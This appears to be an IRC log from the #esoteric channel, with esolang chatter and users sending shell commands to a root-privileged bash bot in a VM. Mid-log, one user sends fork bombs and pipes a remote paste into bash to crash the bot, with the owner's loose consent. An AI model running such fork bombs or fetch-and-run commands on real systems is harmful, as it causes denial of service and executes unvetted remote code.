\oren\maidcafe_ has joined. 04:48:14 -!- \oren\maidcafe has quit (Ping timeout: 250 seconds). 04:59:30 -!- \oren\maidcafe_ has quit (Ping timeout: 250 seconds). 05:20:45 -!- dnm has joined. 05:32:20 -!- contrapumpkin has joined. 05:34:10 -!- copumpkin has quit (Ping timeout: 252 seconds). 06:33:51 -!- Kaynato has quit (Ping timeout: 246 seconds). 06:35:59 can you actually refer to politics as "they"? 06:38:15 So, in bases 4 and greater, 111*111=12321. Is there a name for this sort of thing? 06:38:20 http://pastie.org/10871341 06:46:53 multiplication :p 06:47:19 Sgeo_: i dunno but 11^n is another good one 06:47:26 (for various n) 06:47:55 (and sufficiently high bases) 06:48:40 11^n is neat 06:49:40 -!- lambda-11235 has quit (Quit: Bye). 07:07:00 We do but teach bloody instructions 07:07:02 Which, being taught, return to plague th' inventor 07:29:28 -!- hppavilion[1] has joined. 07:46:05 Waaaaaait 07:46:13 I think I found a solution to the utilities puzzle 07:46:23 Or, a solution to the way it is usually explained 07:46:33 Because obviously there isn't a "pure" solution 07:46:51 But the explanation usually given leaves out a rather important bit 07:49:23 [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47186&oldid=45215 * 192.225.214.131 * (+17) no one actually pronounces this symbol like that...it may be a claim of the author but `pronounced` implies actual real-world pronunciation 07:52:48 -!- Destructible has joined. 07:53:07 hoi 07:53:49 anybody 07:53:52 ?' 07:53:52 Maybe you meant: v @ ? . 07:54:26 anybody? 07:54:34 `? people 07:54:42 people? ¯\(°​_o)/¯ 07:58:54 -!- Destructible has quit (Ping timeout: 250 seconds). 07:59:50 -!- mroman has joined. 07:59:56 fnirdle 08:05:56 [wiki] [[Fish]] https://esolangs.org/w/index.php?diff=47187&oldid=47186 * Oerjan * (-8) Descriptivism is boring 08:43:32 I'm more of a restrictivist myself 08:44:09 oerjan: (Prescriptivist scum!) 08:45:50 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:47:11 [wiki] [[Template:Wrongtitle]] https://esolangs.org/w/index.php?diff=47188&oldid=30193 * Hppavilion1 * (+25) Chastised people, increased informational quality, got to the root of the problem, and made it more esoteric-befitting, all in one fell sweep. 09:05:15 -!- augur_ has quit (Remote host closed the connection). 09:16:55 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 09:17:48 [wiki] [[Template:Wrongtitle]] M https://esolangs.org/w/index.php?diff=47189&oldid=47188 * Oerjan * (-25) Reverted edits by [[Special:Contributions/Hppavilion1|Hppavilion1]] ([[User talk:Hppavilion1|talk]]) to last revision by [[User:Ehird|Ehird]] 09:45:41 -!- oerjan has quit (Quit: Nite). 10:00:25 " huh. pronouncing all of those with a ɑː is kind of fun" => for most words it doesn't matter, but it's vital for "can't", because it lets you distinguish "can't do" from "can do" easily 10:00:53 I usually pronounce most of those words with /ɑː/ 10:01:01 (not all) 10:17:27 -!- Phantom_Hoover has joined. 10:21:29 -!- gamemanj has joined. 10:58:39 -!- Destructible has joined. 10:58:43 hi 11:10:58 anybody? 11:29:30 -!- Destructible has quit (Quit: Page closed). 11:29:58 -!- Destructible has joined. 11:33:08 hellloooooo 11:33:13 -!- boily has joined. 11:33:18 hi 11:36:12 hello? 11:36:50 Destructibello! 11:37:03 destructibello? 11:37:48 it's a porthello. I tend to be known for them. 11:38:01 witness: hellochaf. 11:39:20 ok 11:40:06 well, I had an idea for a language 11:41:53 there would be only two operations 11:43:35 digit roots 11:43:42 oh wait 11:43:48 I had a better idea 11:43:57 only one operation 11:44:43 digit roots 11:45:28 wait 11:45:40 nevermind i have no actually idea 11:48:11 don't root your digits. that seems to be the start cause of your problems hth 11:49:49 was that funny? 11:50:26 I had another idea 11:52:36 it takes place on a grid of bytes 11:52:51 it has very few commands, if not one 11:54:41 on one of the tiles is a value of one 11:55:50 the main command consists of coordinates of the grid 11:57:09 if the grid tile is zero, the grid tile is equal to the 4 orthoganally adjacent tiles 11:57:12 otherwise 11:57:18 grid tile is zero 11:58:36 any other command would be control structures 12:01:07 extreme binary self-modifying befunge? 12:01:14 that sounds interesting. 12:01:32 no 12:01:35 no it is not 12:02:03 the grid only contains values 12:03:57 i think it could also have a goto at the end if it's a certain value or something. 12:04:05 then it could be a urisc 12:07:15 in fact, perhaps it could be the machine code for an eso comp 12:07:51 witha grid of bytes, numbered on x and y, instead of a single value 12:13:18 -!- hppavilion[1] has joined. 12:15:48 hi 12:16:34 hello hppavilion[1] 12:17:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 12:25:35 -!- gamemanj has quit (Remote host closed the connection). 12:29:56 -!- boily has quit (Quit: NUDE CHICKEN). 12:33:29 -!- atrapado has joined. 12:41:01 wait wait wait 12:41:08 ImageMagick version 7 is released? 12:41:16 was that even listed? 12:41:42 what other software was released while I wasn't looking? 12:43:11 when was it released? 12:55:35 Linux 4 12:56:42 Yurume_: no, sorry. Linux has lots of nice and useful development, it is important, but I don't care about the arbitrary major version number increase. 12:57:02 yeah, but just in case 12:57:08 sure 13:06:44 hi 13:20:01 -!- spiette has quit (Ping timeout: 252 seconds). 13:24:02 -!- Destructible has quit (Quit: Page closed). 13:33:33 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 13:53:22 -!- mroman has quit (Ping timeout: 250 seconds). 14:21:04 -!- Koen_ has joined. 14:33:22 -!- idris-bot has joined. 14:36:01 -!- spiette has joined. 14:52:31 -!- lambda-11235 has joined. 14:53:24 -!- spiette has quit (Ping timeout: 244 seconds). 14:55:01 -!- spiette has joined. 15:51:43 -!- contrapumpkin has changed nick to copumpkin. 15:54:48 -!- dnm has quit (Ping timeout: 276 seconds). 15:57:13 -!- Akaibu has quit (Quit: Connection closed for inactivity). 15:59:32 -!- xkapastel has joined. 16:04:32 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 16:24:17 -!- Kaynato has joined. 16:43:23 -!- havocbot has joined. 16:45:15 -!- moon_ has joined. 16:45:25 -!- Akaibu has joined. 16:45:32 is chat dead? havocbot's logs show so 16:47:15 havocbot: bash 16:47:41 aww i cant call commands still 16:47:51 havocbot: echo unfrozenverify 16:47:52 moon_:unfrozenverify 16:48:52 )= 16:49:13 -!- havocbot has quit (Remote host closed the connection). 16:49:15 What is dead may never die 16:49:28 -!- havocbot has joined. 16:49:39 lol 16:50:52 by the way. havocbot can be pmed 16:51:10 Though I guess what I really mean is "That is not dead which can eternal lie", but I was watching GoT earlier :| 16:51:25 heh 16:51:28 Speaking specifically about oerjan's eternal lying hth 16:51:33 lol 16:51:49 Neat. What does havocbot do? 16:51:57 maybe ybden's successful attempts at kiling havocbot? havocbot is a gentoo bot 16:52:08 i tryed to get it on openbsd with no sucess 16:52:39 havocbot: ls 16:52:39 moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2 16:52:42 So it obsesses about USE flags and rices all day erryday? 16:53:09 havocbot: tail -n 2 bashbot.config 16:53:09 prooftechnique:port=6667:chans=( "#esoteric" ) 16:53:24 dont you dare >_> 16:53:37 well, actully, go ahead, the stuff is hardcoded 16:53:49 havoc is written in bash 16:54:01 and i will murder you if you killall 16:54:18 Now if I could just remember all the incantations to rebuild the kernel with some wacky flags 16:54:22 tempting 16:54:35 I guess there's not a ton to be done with only a stage3 tarball, but still 16:54:40 havocbot: cat bashbot.config 16:54:40 ybden:nick=havocbot:server=irc.freenode.net:port=6667:chans=( "#esoteric" ) 16:54:43 where is havoc's source? 16:54:55 the last folder inside ii-1.7 16:54:59 bahsbot-master 16:55:05 *bashbot-master 16:55:25 where i preformed necromantic wizardry on someone else's irc bot 16:55:29 havocbot: tree ii-1.7 16:55:42 not found 16:55:56 i need to install that stage3 so we have gcc 16:55:59 havocbot: emerge -a tree 16:56:11 not found, idk where it is 16:56:16 but the livecd lacks it 16:56:27 for some unknown reason 16:56:31 ^ 16:56:35 This is Gentoo. Without a compiler. 16:56:49 thats why i have the stae3 16:56:53 i just need to install it 16:56:57 gimme source 16:57:12 havocbot: tar xzjf stage3-i686-20160607.tar.bz2 16:57:26 im no good at tar 16:57:30 havocbot: tar jf stage3-i686-20160607.tar.bz2 16:57:45 havocbot: tar xjf stage3-i686-20160607.tar.bz2 16:57:51 there 16:58:00 you can preform cmmands in parallel, by the way 16:58:01 havocbot: tar xvjpf stage3-*.tar.bz2 --xattrs 16:58:07 Oh, whoops 16:58:08 thats why interactives dont cause problems 16:58:21 xattr is not avaliable 16:58:25 damnit livecd 16:58:39 havocbot: ls 16:58:40 moon_:bashbot.config:bashbot.pid:bin:echo-p:ii-1.7:mk:src:stage3-i686-20160607.tar.bz2:sys:usr 16:58:47 This is a very weird livecd 16:58:54 just need t- its from 2015 16:58:55 ik 16:59:01 its ridiculous 16:59:07 idk what is up with it 16:59:12 If I open an ed session, is it going to explode? :D 16:59:12 moon_: um, shouldn't you do that only when I'm not here? 16:59:15 but im gonna download a new one later 16:59:23 no 16:59:31 like, in saturday night and morning? 16:59:33 it will just run in the backround 16:59:43 go ahead, use it, idk 16:59:46 *idc 17:00:00 i will slap you if you open another bashbot session, tho 17:00:31 oh god 17:00:35 the disk ran out of space 17:00:40 i need to make another one >_> 17:00:47 -!- havocbot has quit (Remote host closed the connection). 17:00:48 havocbot: export CFLAGS="-march=native -O2 -pipe" 17:00:52 bad havoc 17:00:54 baaad 17:01:07 Good night, sweet prince 17:01:49 I predict 30 days from inception to the birth of havocbotnet from the ashes of havocbot 17:01:53 ok, virtualbox should expand the drive this time 17:02:12 havocbot: df 17:02:16 havocbot: mount 17:02:20 wiat 17:02:22 wait 17:02:23 dummy 17:02:24 -!- bender has quit (Quit: Leaving). 17:02:30 its offline 17:02:49 -!- augur has joined. 17:03:08 ill make another 8 gb drive, but ill have it be fixed, so the 8gb already exist 17:03:19 This is highly entertaining. 17:03:39 aww 17:03:43 ok 17:03:48 livecd stinks 17:03:56 it turns out it didnt save anything at all 17:03:59 grrr 17:04:08 Kind of the nature of a livecd if you don't run the installer 17:04:12 i lost all my mods heh 17:04:25 and how do i do that? 17:04:56 well reimplenting my mods will only take a second 17:05:17 https://wiki.gentoo.org/wiki/Handbook:Main_Page 17:05:23 The same way everyone installs Gentoo 17:06:49 zomg Linux noob 17:07:12 moon_: ah, so you are doing this correctly after all 17:07:18 because it was offline when I noticed 17:07:19 damn 17:07:48 No bot has ever been named more appropriately 17:08:06 hah very funny 17:09:33 qrf: Gentoo was my distro of choice for several months when the only hard drive I had was dying, and only Gentoo would get through installation and actually run on the thing. I still have no idea why 17:09:53 Gentoo is held together by magic and Python scripts 17:09:57 As far as I know, there's a USE flag for it 17:10:43 I used Gentoo for a couple of years, too 17:10:45 I wonder if Gentoo has an USE flag for not crashing 17:10:47 Switched to Arch after that 17:10:51 ever 17:11:03 USE="chewinggum ducttape -safetynet" 17:14:18 what was the no endline sed command i used again? 17:15:00 endline? 17:15:08 Like EOL, or newline? 17:16:48 nvm 17:16:54 -!- havocbot has joined. 17:17:23 havocbot: echo i have been revived by necormantic wizardy 17:17:36 wait i broke something 17:17:37 again 17:17:40 -!- havocbot has quit (Remote host closed the connection). 17:18:08 Make sure to save a snapshot when you get it working 17:18:26 i will (; 17:18:33 -!- havocbot has joined. 17:19:12 havocbot: ls 17:19:12 moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip 17:19:18 theeereeee we go! 17:19:37 havocbot: whoami 17:19:38 prooftechnique:root 17:19:49 Woof 17:20:05 snapshot done 17:20:38 feel free to tinker, or break something (not on purpose tho, or i will murder you) 17:20:53 i'll be watching 17:21:19 also, note i changed the : to / 17:21:26 i thought the : was ugly 17:21:31 havocbot: :(){ :|:& };: 17:21:38 havocbot: ls 17:21:38 moon_:bashbot-master/bashbot.config/bashbot.pid/master.zip 17:21:48 it runs parallels 17:21:54 perl -e "fork while fork" & 17:21:58 wait is that a forkbomb? 17:22:02 really-.= 17:22:02 havocbot: perl -e "fork while fork" & 17:22:15 Now it's running two forkbombs in parallel :) 17:22:28 Assuming it even has perl 17:22:32 it does 17:22:45 funny thing tho: its not, the cpu is 1-2% 17:23:14 my game of factorio is useing more mem 17:23:27 and cpu 17:23:30 havocbot: ulimit -a 17:23:30 prooftechnique:core file size (blocks, -c) 0/data seg size (kbytes, -d) unlimited/scheduling priority (-e) 0/file size (blocks, -f) unlimited/pending signals (-i) 7003/max locked memory (kbytes, -l) 64/max memory size (kbytes, -m) unlimited/open files (-n) 1024/pipe size (512 bytes, -p) 8/POSIX message queues (bytes, -q) 819 17:23:41 havocbot: top 17:23:52 failed tty get 17:24:14 stderr does not print here, if anyone knows how to get it to do so, i.e echoing it, please tell me 17:24:15 havocbot: ulimit -u 17:24:15 prooftechnique:7003 17:25:35 moon_: Redirection. >&2 17:26:10 ok thx 17:26:12 ill try it 17:26:13 -!- havocbot has quit (Remote host closed the connection). 17:26:13 Oh, sorry, I mean >&1 17:26:19 Wait, no 17:26:24 Now I'm all backwards 17:26:25 Hang on 17:26:30 im listening 17:26:43 Ah, there we go. 2>&1 17:27:01 Oh, the bot died 17:27:08 im editing it dummy 17:27:24 Oh. Well, I would expect to say something like 17:27:34 havocbot: nonexistentcommand 2>&1 17:28:23 ok i think it should work 17:28:31 -!- havocbot has joined. 17:28:48 havocbot: ls derpfail 17:28:48 moon_:ls: cannot access derpfail: No such file or directory 17:28:52 yay 17:29:25 ok, NOW you can all tinker 17:29:44 perl -e "fork while fork" & 17:29:47 havocbot: perl -e "fork while fork" & 17:29:47 prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1. 17:30:01 havocbot: perl -e "fork while fork" 17:30:01 prooftechnique:Can't find string terminator '"' anywhere before EOF at -e line 1. 17:30:05 Weird 17:30:09 try bashing it 17:30:17 havocbot: :(){ :|:& };: 17:30:17 prooftechnique:./bashbot-master/bashbot: line 175: :(){: command not found 17:30:29 run it in bash silly 17:30:48 Is it not a bash shell already? 17:30:58 havocbot: bash -c ':(){ :|:& };:' 17:30:59 prooftechnique::|:&: -c: line 0: unexpected EOF while looking for matching `''/:|:&: -c: line 1: syntax error: unexpected end of file 17:31:03 "$cmd" "$@" runs commands 17:31:37 using $@ magic 17:31:39 havocbot: echo "#!/bin/bash" >> fork.sh 17:31:40 prooftechnique:"#!/bin/bash" >> fork.sh 17:31:53 havocbot: cat fork.sh 17:31:54 prooftechnique:cat: fork.sh: No such file or directory 17:32:00 *lol* 17:32:17 oerjan discovered a trick last night, figure it out if you can :P 17:32:25 actually 17:32:30 i need to check something 17:32:36 -!- havocbot has quit (Remote host closed the connection). 17:33:35 -!- havocbot has joined. 17:33:41 i think i forgot to strip a bash exploit protection from the original 17:34:00 now try? 17:34:38 havocbot: echo "#!/bin/bash" | tee -a fork.sh 17:34:39 prooftechnique:"#!/bin/bash" | tee -a fork.sh 17:34:47 pff 17:34:51 in bash 17:35:02 What in bash? 17:35:09 the command 17:35:24 What command? 17:35:31 .-. 17:35:38 echo "#!/bin/bash" | tee -a fork.sh 17:35:52 havocbot: bash -c ' echo "#!/bin/bash" | tee -a fork.sh ' 17:36:02 havocbot: cat fork.sh 17:36:08 moon_:echo: -c: line 0: unexpected EOF while looking for matching `''/echo: -c: line 1: syntax error: unexpected end of file 17:36:11 i froze it 17:36:16 damn u bash 17:36:27 I return the .-. 17:39:12 havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh 17:39:16 havocbot: cat fork.sh 17:39:24 -!- moon__ has joined. 17:39:25 my internet died 17:39:44 someone kick havocbot 17:39:50 its a ghost nick 17:39:52 RIP (Requiescat Internet Protocol) 17:40:02 oerjan? 17:40:23 fungot: kick havocbot 17:40:23 prooftechnique: a lot of 17:40:29 Worth a shot :D 17:40:32 lol 17:40:52 -!- moon_ has quit (Ping timeout: 250 seconds). 17:41:02 -!- havocbot has quit (Ping timeout: 272 seconds). 17:41:09 ill write in some bash to make it add _'s later 17:41:29 -!- havocbot has joined. 17:42:15 ok proof, go ahead, tinker :P 17:42:19 its open for bussiness 17:42:25 havocbot: cat fork.sh 17:42:26 prooftechnique:cat: fork.sh: No such file or directory 17:42:30 havocbot: awk 'BEGIN { print "#!/bin/bash" }' > fork.sh 17:42:30 prooftechnique:awk: cmd. line:1: 'BEGIN/awk: cmd. line:1: ^ invalid char ''' in expression 17:42:59 havocbot: awk \'BEGIN { print "#!/bin/bash" }\' > fork.sh 17:42:59 prooftechnique:awk: cmd. line:1: \'BEGIN/awk: cmd. line:1: ^ backslash not last character on line 17:43:23 havocbot: touch fork.sh 17:43:44 write it, put it on pastebin, and wget it 17:43:51 that is, until we have something mk like 17:44:09 That would be simpler, I suppose. 17:44:14 -!- lynn has quit. 17:44:38 havocbot: which wget 17:44:38 prooftechnique:/usr/bin/wget 17:44:54 i used wget alot, so there is no need checkin 17:45:07 havocbot: rm fork.sh 17:45:42 `url bin/mk 17:45:47 `url bin/echo-p 17:45:50 `url bin/mkx 17:45:56 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk 17:46:02 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p 17:46:06 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mkx 17:47:18 havocbot: wget -q -O - http://sprunge.us/CLGK | bash 17:48:31 havocbot: top 17:48:31 prooftechnique:top: failed tty get 17:48:53 havocbot: grep 'cpu ' /proc/stat 17:48:53 prooftechnique:grep: ': No such file or directory 17:49:07 bad array subscript is printing on my end 17:49:10 what did you do 17:49:15 wait 17:49:26 you ran bash unary without args 17:49:30 ):< 17:49:56 Did the forkbomb work, yet? 17:50:00 no 17:50:02 (= 17:50:27 .7 -- 2.6 cpu 17:50:34 wget -O fork.sh http://sprunge.us/CLGK 17:50:35 havocbot: wget http://pastebin.com/raw/HgsSBDzp 17:50:36 moon__:--2016-06-10 03:53:39-- http://pastebin.com/raw/HgsSBDzp/Resolving pastebin.com... 104.20.64.56, 104.20.63.56/Connecting to pastebin.com|104.20.64.56|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: unspecified [text/plain]/Saving to: 'HgsSBDzp'// 0K 1.26M=0s//2016-06-10 03:53:40 (1.26 MB/s) - 'HgsSBDzp' saved [62]/ 17:50:40 havockbot wget -O fork.sh http://sprunge.us/CLGK 17:50:48 havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp 17:51:00 havocbot: ls 17:51:00 moon__:HgsSBDzp/HgsSBDzp.1/bashbot-master/bashbot.config/bashbot.pid/echo-p/master.zip 17:51:04 havockbot: wget -O fork.sh http://sprunge.us/CLGK 17:51:09 havocbot: wget -O fork.sh http://sprunge.us/CLGK 17:51:10 prooftechnique:--2016-06-10 03:54:13-- http://sprunge.us/CLGK/Resolving sprunge.us... 216.239.34.21, 216.239.32.21, 216.239.38.21, .../Connecting to sprunge.us|216.239.34.21|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 24 [text/plain]/Saving to: 'fork.sh'// 0K 100% 1.06M=0s//2016-06-10 03:54:13 (1.06 MB/s) - 'fork.sh' saved [24/24]/ 17:51:13 What is wrong with me? 17:51:21 havocbot: ./fork.sh 17:51:21 prooftechnique:./bashbot-master/bashbot: line 173: ./fork.sh: Permission denied 17:51:27 ... 17:51:32 havocbot: chmod +x fork.sh 17:51:35 havocbot: ./fork.sh 17:51:39 havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY 17:52:04 havocbot: cat fork.sh 17:52:26 havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv 17:52:27 -!- atrapado has quit (Ping timeout: 276 seconds). 17:52:42 havocbot: ls 17:52:59 Did I kill it? :D 17:53:03 ... 17:53:07 yea 17:53:10 *smack* 17:53:25 and you made me lose my work 17:53:34 :( 17:53:39 Well, I won't do that again 17:53:42 im adding a ignore list 17:54:03 * prooftechnique weeps 17:54:10 just kidding 17:54:10 I guess I could just change my nick 17:54:13 dont do it again 17:54:21 I solemnly swear I shan't 17:54:40 good, or i will have oerjan flay you alive if you bypass the ignore 17:54:52 -!- havocbot has quit (Remote host closed the connection). 17:55:57 hopefully the snapshot was not lost 17:56:04 or i will still flay you alive 17:56:12 https://files.catbox.moe/g4qo0a.jpg 17:56:19 its here 17:56:21 god 17:56:38 -!- havocbot has joined. 17:56:39 havocbot: wget -o mk http://pastebin.com/raw/rCu7GHCY 17:56:44 wget -o mkx http://pastebin.com/raw/CZvHsfqv 17:56:45 havocbot: which god 17:56:58 wget -o echo-p http://pastebin.com/raw/HgsSBDzp 17:57:00 *good 17:57:03 im atheist 17:57:11 havocbot: ls 17:57:11 moon__:bashbot-master/bashbot.config/bashbot.pid/master.zip/mk/rCu7GHCY 17:57:24 havocbot: wget -o mkx http://pastebin.com/raw/CZvHsfqv 17:57:33 havocbot: wget -o echo-p http://pastebin.com/raw/HgsSBDzp 17:57:50 you know how to change the path in gentoo? 17:57:55 mkdir bin 17:58:05 havocbot: mkdir bin 17:58:07 export PATH, same as usual 17:58:16 havocbot: mv mk bin/mk 17:58:24 mv echo-p bin/echo-p 17:58:32 havocbot: mv echo-p bin/echo-p 17:58:40 havocbot: mv mkx bin/mkx 17:58:46 add the bin to the path for me, will you? 17:58:51 then let me snapshot it 17:59:17 havocbot: export #test 17:59:33 havocbot: echo 'export PATH=bin:$PATH' >> .bashrc 17:59:33 prooftechnique:'export PATH=bin:$PATH' >> .bashrc 17:59:43 havocbot: export PATH=bin:$PATH 17:59:48 havocbot: echo $PATH 17:59:49 prooftechnique:$PATH 17:59:55 :| 18:00:12 havocbot: bash -c echo{,$PATH} 18:00:13 moon__:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:00:19 i win 18:00:37 havocbot: mk 18:00:47 not found :P 18:00:56 idk why the not found messages stay in stderr and not here 18:00:59 That's because it didn't write the path 18:01:11 You need to add the 2>&1 redirect again 18:01:23 -!- havocbot has quit (Remote host closed the connection). 18:03:57 havocbot: bash -c "echo export PATH=$HOME/bin:$PATH >> .bashrc"" 18:04:03 Oh, not back, yet 18:07:13 havocbot: bash -c echo{,$HOME} 18:09:05 -!- havocbot has joined. 18:09:20 boo prooftechnique 18:09:29 havocbot: bash -c echo{,$HOME} 18:09:30 prooftechnique:echo/root 18:09:41 havocbot: pwd 18:09:41 prooftechnique:/root 18:09:52 havocbot: cat .bashrc 18:09:52 prooftechnique:#!/bin/bash//if [ ! "$(grep nox /proc/cmdline)" ]/then/if [ -x /usr/bin/X ]/then/if [ -e /etc/startx -a $(tty) = "/dev/tty1" ];/then/rm -f /etc/startx/##STARTX/[ -f /etc/motd ] && cat /etc/motd/fi/fi/fi 18:10:14 havocbot: cat .profile 18:10:14 prooftechnique:cat: .profile: No such file or directory 18:10:40 cat /.profile 18:12:19 wget -O /.profile http://sprunge.us/HACJ 18:12:25 havocbot: wget -O /.profile http://sprunge.us/HACJ 18:12:25 prooftechnique:--2016-06-10 03:39:08-- http://sprunge.us/HACJ/Resolving sprunge.us... 216.239.36.21, 216.239.32.21, 216.239.38.21, .../Connecting to sprunge.us|216.239.36.21|:80... connected./HTTP request sent, awaiting response... 200 OK/Length: 28 [text/plain]/Saving to: '/.profile'// 0K 100% 182K=0s//2016-06-10 03:39:08 (182 KB/s) - '/.profile' saved [28/28]/ 18:12:45 Oh, whoops, that's not what I wanted 18:12:54 havocbot: wget -q -O .profile http://sprunge.us/HACJ 18:13:02 havocbot: source .profile 18:13:22 havocbot: bash -c echo{,$PATH} 18:13:22 prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:13:40 Dang it :| 18:13:51 havocbot: cat .profile 18:13:52 prooftechnique:export PATH=$HOME/bin:$PATH 18:14:48 havocbot: bash -v 18:15:15 havocbot: bash --version 18:15:15 prooftechnique:GNU bash, version 4.3.33(1)-release (i486-pc-linux-gnu)/Copyright (C) 2013 Free Software Foundation, Inc./License GPLv3+: GNU GPL version 3 or later //This is free software; you are free to change and redistribute it./There is NO WARRANTY, to the extent permitted by law. 18:15:18 That's what I meant 18:15:49 havocbot: export PATH=$HOME/bin:$PATH 18:15:57 havocbot: bash -c echo{,$PATH} 18:15:58 prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:16:09 Well, I just do not know what to make of that 18:17:34 havocbot: bash .profile 18:17:39 havocbot: bash -c echo{,$PATH} 18:17:39 prooftechnique:echo/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4 18:19:06 havocbot: cat /etc/paths 18:19:06 prooftechnique:cat: /etc/paths: No such file or directory 18:19:54 Is there command that can be used in Linux which can tell you which screen you are on? 18:19:58 Oh, duh, that's just an OS X thing 18:20:07 zzo38: Screen meaning? 18:20:31 I mean if you push CTRL+ALT+F1 and so on to switch to different screens 18:21:04 That's probably dependent on your WM/DM 18:21:29 No it isn't, it is built-in to the kernel 18:22:31 What about the $DISPLAY variable? 18:22:34 -!- atrapado has joined. 18:22:49 That is for X 18:23:07 But what I am asking is independent of X 18:24:45 Maybe tty? 18:25:04 -!- hppavilion[1] has joined. 18:25:14 lambdy? 18:25:21 OK, no notifications 18:26:02 The tty command will tell you the filename 18:26:39 Is that not enough information? What output are you expecting? 18:26:40 ok its alive 18:27:07 wait did you fork bomb it? 18:27:08 But I want to know which filename is which one, so that I can program in the .profile which screen I am on and whether or not to automatically start X, so that on screen 2 I acn login without C. 18:27:17 nvm 18:27:19 good 18:27:52 -!- havocbot has quit (Ping timeout: 250 seconds). 18:27:58 s/C/X/ 18:28:12 it crashed 18:28:14 >_> 18:28:19 -!- havocbot has joined. 18:28:28 i should make a auto revive script 18:28:57 havocbot: ls 18:28:57 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY 18:28:59 zzo38: I don't know if the assignment of tty IDs is sequential, but if it is, that might be helpful 18:29:09 snapshotting 18:29:11 -!- havocbot has quit (Remote host closed the connection). 18:29:45 there 18:29:48 -!- havocbot has joined. 18:29:53 continue on :P 18:30:09 havocbot: who 18:30:10 prooftechnique:root tty1 Jun 10 03:06/root tty3 Jun 10 03:06/root tty6 Jun 10 03:06/root tty4 Jun 10 03:06/root tty5 Jun 10 03:06/root tty2 Jun 10 03:06 18:30:25 zzo38: I guess there's who, too 18:31:02 -!- hwpplayer1 has joined. 18:31:56 use where to verify if a dangerous command exists\ 18:32:20 havocbot: where rm 18:32:21 prooftechnique:./bashbot-master/bashbot: line 170: where: command not found 18:32:25 havocbot: df 18:32:25 b_jonas:Filesystem 1K-blocks Used Available Use% Mounted on/udev 10240 4 10236 1% /dev/tmpfs 450440 61892 388548 14% ///dev/loop0 179584 179584 0 100% /mnt/livecd//dev/sr0 206652 206652 0 100% /mnt/cdrom/tmpfs 90088 396 89692 1% /run/shm 450440 0 450440 0% /dev/shm/cgroup_root 10240 0 10240 0 18:32:26 oh 18:32:30 havocbot: mount 18:32:30 b_jonas:proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)/udev on /dev type devtmpfs (rw,nosuid,relatime,size=10240k,nr_inodes=112063,mode=755)/devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)/sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)/tmpfs on / type tmpfs (rw,relatime)//dev/loop0 on /mnt/livecd type squashfs (ro,relatime)//dev/sr0 on /mnt/cdrom type iso9660 (ro,relatime)/tmpfs on /run type tmpfs ( 18:32:32 maybe where doesnt exist, haha 18:33:18 havocbot: ls /mnt 18:33:18 moon__:cdrom/gentoo/key/livecd 18:33:32 gentoo is the secondary perm disk 18:33:36 use it if you want 18:34:13 havocbot: curl -O train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg 18:34:15 havocbot: ./mk 18:34:15 moon__:./bashbot-master/bashbot: line 170: ./mk: No such file or directory 18:35:06 what is that curl doing? 18:35:22 havocbot: sha1sum train.jpg 18:35:22 b_jonas:sha1sum: train.jpg: No such file or directory 18:35:24 havocbot: sha1sum train.jpt 18:35:24 b_jonas:sha1sum: train.jpt: No such file or directory 18:35:39 havocbot: curl -o train.jpt https://upload.wikimedia.org/wikipedia/commons/thumb/1/13/RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg/640px-RhB_ABe_4-4_III_Kreisviadukt_Brusio.jpg 18:35:40 b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/ 18:35:41 havocbot: ls 18:35:41 moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpt 18:35:43 havocbot: sha1sum train.jpt 18:35:43 b_jonas:43a6294e385868acbdd0b669bd50f4d37da4347c train.jpt 18:35:48 havocbot: mv train.jpt train.jpg 18:35:50 why? 18:36:07 yup, it can access the internet 18:36:24 did i not already use wget in it? -.- 18:36:57 which do you prefer: havocbot or hackego? 18:38:26 hackego is 12.5% better because it is 12.5% shorter 18:38:36 lol 18:38:38 havocbot echo 4B/mEYnkTyMJAE8AgD114LnjMcYmZSbgcKFYhaXxmec 18:38:50 you forgot the : 18:38:51 Though tab completion renders that a nonissue 18:38:58 moon__: I'm testing if the bot works that way 18:39:06 havocbot: echo STQkBp6OoS3I9dN0nOPYnfLkD1wlziD28sSzFgfuNsg 18:39:06 